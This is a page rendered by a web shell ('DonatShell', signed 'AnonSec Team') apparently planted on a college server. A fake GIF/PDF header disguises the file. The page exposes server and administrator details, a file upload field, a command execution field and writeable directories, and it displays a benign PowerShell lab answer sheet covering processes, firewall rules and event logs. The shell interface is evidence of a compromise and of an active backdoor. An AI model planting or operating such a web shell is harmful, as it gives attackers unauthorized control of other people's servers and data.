GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Classes/CST1861/2017/Labs/Lab03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Classes/CST1861/2017/Labs/Lab03/Lab03 questions.txt
1. What is the command to get the first ten processes by cpu usage decending?
Get-Process | Sort -Descending CPU | Select -First 10
get-process | sort-object -descending -property cpu | select-object -first 10
ps | Sort -Descending CPU | Select -First 10

2. What is the command to get the first ten processes by memory usage decending?
Get-Process | Sort-Object -Descending WS | Select -First 10
get-process | sort-object -descending -property ws | select-object -first 10
ps | Sort-Object -Descending WS | Select -First 10
Get-Process | Sort-Object -Descending PM | Select -First 10
ps | Sort-Object -Descending PM | Select -First 10

3. What is the command to make a new alias, so you can run gh to get run the Get-Help command? (Try gh New-Alias to make sure it works)
New-Alias gh Get-Help

4. What is the command to display a list of all disabled Windows Firewall rules?
Get-NetFirewallRule | Where-Object { $_.Enabled –eq ‘False’ }
Get-NetFirewallRule | Where-Object { $_.Enabled –ne ‘True’ }
(Where also ok)
Get-NetFirewallRule -Enabled False

5. What is the command to get a list of running services into a .csv file called RunningServices.csv deliminated by the pipe [|] character?
Get-Service | Where-Object {$_.Status -eq "Running"} | Export-CSV RunningServices.csv -Delimiter '|'
(Where also ok)
Get-Service | Where-Object Status -eq "Running" | Export-CSV RunningServices.csv -Delimiter '|'

6. Identify a cmdlet that will produce a random number?
Get-Random

7. What is the command to display information about installed hotfixes sorted by installation date decending and displayed in list format?
Get-HotFix | Sort -Descending InstalledOn | Format-List
get-hotfix | sort-object -property installedon -descending | Format-list
Get-Hotfix | Sort-Object -Property InstallDate -desc | Format-List

8. What is the command to display a list of available event logs?
Get-EventLog -List
Get-EventLog *

9. What is the command to display a list of the 25 newest entries from the Application event log?
Get-EventLog Application | Select -First 25
Get-EventLog -Newest 25 -LogName "Application"
get-EventLog -LogName Application -Newest 25

10. What is the command to display a table of the first 25 processes that includes the process names, IDs, virtual, and physical memory usage? Express the virtual, and physical memory usage values in megabytes (MB). Have the table take up as little horizontal room as possible.
Get-Process | Select -First 25 | Format-Table Name,ID,@{l='VirtualMB';e={$_.vm/1mb}},@{l='PhysicalMB';e={$_.workingset/1MB}} -autosize

| select -ExpandProperty Enabled

Anon7 - 2022
AnonSec Team